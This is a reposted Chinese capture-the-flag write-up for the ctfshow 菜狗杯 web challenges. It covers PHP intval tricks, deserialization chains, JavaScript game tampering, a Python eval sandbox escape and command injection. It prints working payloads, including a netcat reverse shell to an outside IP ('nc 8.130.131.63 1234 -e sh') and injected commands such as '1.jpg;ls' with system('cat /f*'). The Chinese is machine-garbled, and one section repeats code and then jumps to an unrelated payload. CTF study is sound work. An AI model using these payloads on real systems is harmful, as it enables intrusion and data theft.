ToB企服应用市场:ToB评测及商务社交产业平台
标题:
ctfshow-菜狗杯-web
[打印本页]
作者:
郭卫东
时间:
2024-5-20 04:44
标题:
ctfshow-菜狗杯-web
菜狗杯
一言既出
打开标题就是一个朴实无华的php代码
我们分析一下:
需要传入一个
num
的参数,使
num==114514
,反面颠末intval转化后要
num==1919810
,否则直接结束历程
这下就有点难办了,但实在我们只要实在闭合一下这个assert函数,不让这个结束的条件建立就行,payload如下
num=114514);//
复制代码
大概另有一种解法,用了
%2B
,这是加号+的url编码
当我们输入一下payload
num=114514%2B(1919810-114514)
复制代码
解释一下payload,实在在第一次判定的时候,他的值是114514,这就完成了第一次判定,但是当第二次判定,在intval函数下,他会先举行运算,然后再将结果举行判定,这就完成了payload。
驷马难追
打开标题和上道题一样
唯一不同的就是加了一层waf,比如小写字母,分号,括号不能用,所以这道题我们不能闭合,只能借用谁人url编码,同时利用intval函数的特性去构造payload。
payload如下
num=114514%2B1919810-114514
复制代码
TapTapTap
打开标题是一个小游戏,这真忍不住,上去玩了一下,关键词是LEVEL,这种题都是js小游戏,我们就直接源码找,搜LEVEL
功夫不负有心人,也是找到了一串可疑的base64的代码
解码得到,得知flag在这个路径下面
直接访问这个文件,成功拿到flag
Webshell
打开标题,是php反序列化的题
详细来说这个流程就是
new Webshell()->__construct->__init->exec()
最后执行shell_exec($cmd) //shell_exec就是执行系统命令,一般无回显,这里贴心的给你回显了
复制代码
我们打开php在线,去构造一下
PHP 在线工具 | 菜鸟工具 (jyshare.com)
构造代码如下:
[/code][code]O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A2%3A%22ls%22%3B%7D
复制代码
然后我们传一下参数看看行不,发现简直可以
留意前面代码,我们不能输入
flag
,被过滤了,所以这里我们使用通配符*****
这里我们只用把构造代码中的
cmd
的值更改一下
public $cmd = 'cat f*';
复制代码
O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22cat+f%2A%22%3B%7D
复制代码
传参后发现一片空缺,
F12
看一下源码,简直在内里
化零为整
打开标题,就是php代码,十分害怕
我们分析一下代码
$_GET,就是担当了多少了多少个参数
if(strlen($_GET[$i])>1)这一部分就是告诉我们,我们每次只能输入一个字符****,汉字是两个字符
我们今后看,result这个变量会拼接我们输入进去的参数
最后当result==“大牛”,才会输出flag
这个时候问题就是我们怎样输入
“大牛”
,每次只能才气输入一个字符,这里我们就可以url编码,将”大牛“编码一下,一次输入一个字符
然后构造payload:
1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
复制代码
无一幸免
这道题就是0=? //传啥都行
payload如下
0=1
复制代码
传说之下(雾)
是一个小游戏,小玩一会
应该还是js小游戏,F12直接找,分数用的
score
,我们直接搜索
我们应该修改这个score的值,然后吃一个豆,他就更新成nowScore,我们找找这个对象名字
找到之后,直接控制台修改,
Game.score=3000
复制代码
停息修改事后,我们直接回到游戏,吃一个豆,分数就够了,得到flag
算力超群
打开标题就是一个计算器,我们运行一个计算,抓包看看
当我们把number2改为非法的字符串的时候
返回的页面如下所示:
发现路径为
/app/app.py
伤害的函数如下:
result=eval(a + operator +b)
复制代码
搜了一下,可用的方法就是 沙箱逃逸 ,emmmm,完全不懂,那就搜一下
一文看懂Python沙箱逃逸 - FreeBuf网络安全行业门户
[
PyJail] python沙箱逃逸探究·总览(HNCTF题解) - 知乎 (zhihu.com)
直接反弹shell
_calculate?number1=1&operator=%2B&number2=1,__import__('os').system('nc 8.130.131.63 1234 -e sh')
复制代码
拿到flag
算力升级(未做出来)
还不会,pass
easyPytHon_P
这道题是给了源码
我们分析一下,我们需要传入两个参数 一个
cmd
一个
param
,反面有个命令实行的函数,所以我们需要构造一个命令,用这两个参数,但是
cmd
是有限制的,只能读取三位,分析完毕,我们开始构造payload
cmd=ls¶m=/
复制代码
但是我们传参数始终不对,没有得到我们想要的结果,实在这里又考了flask的传参,实在不是
GET传参
,而是
POST
flask的传参方式
get请求
request.args.get("key") 获取get请求参数
复制代码
post请求
request.form.get("key", type=str, default=None) 获取表单数据
request.values.get("key") 获取所有参数
复制代码
所以这里我们用
hackbar POST
传参就行了
实在flag没在根目录,就在当前的目录,那我们直接就读取了
cmd=cat¶m=./flag.txt
复制代码
遍地飘零
变量覆盖问题
CTF中的变量覆盖问题 - My_Dreams - 博客园 (cnblogs.com)
payload
_GET=flag
复制代码
茶歇区
考的是整数溢出,以下是常见的数值范围
uint8 -> 0-255
uint16 -> 0-65535
uint32 -> 0-4294967295
uint36 -> 0-18446744073709551615
int8 -> -127-128
int16 -> -32768-32767
int32 -> -2147483648-2147483647
int64 -> -9223372036854775808-9223372036854775807
复制代码
让我拿东西得分,我直接弄了很多,直接负数很离谱
我继续这样,就flag了
小舔田?
打开标题就是源码,看的出来是反序列化
先补充魔术方法吧
__construct() //类的构造函数,创建对象时触发
__destruct() //类的析构函数,对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
__set() //在给不可访问属性赋值时触发
__isset() //当对不可访问属性调用 isset() 或 empty() 时触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当尝试以调用函数的方式调用一个对象时触发
__sleep() //执行serialize()时,先会调用这个方法
__wakeup() //执行unserialize()时,先会调用这个方法
__toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
复制代码
然后我们来构造链子
Moon::wakeup()->Ion_Fan_Princess::tostring()->Ion_Fan_Princess::call
复制代码
分析完毕,打开php在线,开始操作、
<?php
include "flag.php";
highlight_file(__FILE__);
class Moon{
public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}
class Ion_Fan_Princess{
public $nickname="牛夫人";
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}
}
public function __toString(){
$this->call();
}
}
$a = new Moon();
$a->name = new Ion_Fan_Princess();
$a->name->nickname="小甜甜";
echo urlencode(serialize($a));
复制代码
然后我们MD5加密一下看一下天生的是什么
<?php
include "flag.php";
highlight_file(__FILE__);
class Moon{
public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}
class Ion_Fan_Princess{
public $nickname="牛夫人";
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}
}
public function __toString(){
$this->call();
}
}
$a = new Moon();
$a->name = new Ion_Fan_Princess();
$a->name->nickname="小甜甜";
echo urlencode(serialize($a));
复制代码
1.jpg;ls
复制代码
然后我们利用pull去实行
?action=pull&input=1.jpg;ls&1=system("ls /");
复制代码
然后直接查察flag
?action=pull&input=1.jpg;ls&1=system("cat%20/f*");
复制代码
龙珠NFT(未做出来)
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)
Powered by Discuz! X3.4